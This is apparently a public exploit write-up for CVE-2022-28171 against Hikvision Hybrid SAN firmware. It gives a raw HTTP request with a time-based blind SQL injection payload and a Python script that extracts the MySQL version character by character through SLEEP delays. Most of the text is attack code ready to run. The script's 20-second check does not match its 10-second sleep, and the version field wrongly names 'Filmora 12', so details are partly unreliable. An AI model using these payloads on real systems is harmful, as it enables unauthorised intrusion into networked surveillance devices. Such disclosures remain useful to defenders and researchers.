# Exploit Title: Hikvision Hybrid SAN Ds-a71024 Firmware - Multiple Remote Code Execution # Date: 16 July 2023 # Exploit Author: Thurein Soe # CVE : CVE-2022-28171 # Vendor Homepage: https://www.hikvision.com # Software Link: N/A # Refence Link: https://cve.report/CVE-2022-28171 # Version: Filmora 12: Ds-a71024 Firmware, Ds-a71024 Firmware Ds-a71048r-cvs Firmware Ds-a71048 Firmware Ds-a71072r Firmware Ds-a71072r Firmware Ds-a72024 Firmware Ds-a72024 Firmware Ds-a72048r-cvs Firmware Ds-a72072r Firmware Ds-a80316s Firmware Ds-a80624s Firmware Ds-a81016s Firmware Ds-a82024d Firmware Ds-a71048r-cvs Ds-a71024 Ds-a71048 Ds-a71072r Ds-a80624s Ds-a82024d Ds-a80316s Ds-a81016s ''' Vendor Description: Hikvision is a world-leading surveillance manufacturer and supplier of video surveillance and Internet of Things (IoT) equipment for civilian and military purposes. Some Hikvision Hybrid SAN products were vulnerable to multiple remote code execution vulnerabilities such as command injection, Blind SQL injection, HTTP request smuggling, and reflected cross-site scripting. This resulted in remote code execution that allows an adversary to execute arbitrary operating system commands and more. However, an adversary must be on the same network to leverage this vulnerability to execute arbitrary commands. Vulnerability description: A manual test confirmed that The download type parameter was vulnerable to Blind SQL injection.I created a Python script to automate and enumerate SQL versions as the Application was behind the firewall and block all the requests from SQLmap. Request Body: GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1 Host: X.X.X.X.12:2004 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Connection: close POC: ''' import requests import time url = "http://X.X.X.X:2004/web/log/dynamic_log.php" # Function to check if the response time is greater than the specified delay def is_response_time_delayed(response_time, delay): return response_time >= delay # Function to perform blind SQL injection and check the response time def perform_blind_sql_injection(payload): proxies = { 'http': 'http://localhost:8080', 'https': 'http://localhost:8080', } params = { 'target': 'makeMaintainLog', 'downloadtype': payload } headers = { 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Accept-Language': 'en', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36', 'Connection': 'close' } start_time = time.time() response = requests.get(url, headers=headers, params=params, proxies=proxies) end_time = time.time() response_time = end_time - start_time return is_response_time_delayed(response_time, 20) # Enumerate the MySQL version def enumerate_mysql_version(): version_Name = '' sleep_time = 10 # Sleep time is 10 seconds payloads = [ f"' AND (SELECT IF(ASCII(SUBSTRING(@@version, {i}, 1))={mid}, SLEEP({sleep_time}), 0))-- -" for i in range(1, 11) for mid in range(256) ] for payload in payloads: if perform_blind_sql_injection(payload): mid = payload.split("=")[-1].split(",")[0] version_Name += chr(int(mid)) return version_Name # Enumeration is completed version_Name = enumerate_mysql_version() print("MySQL version is:", version_Name)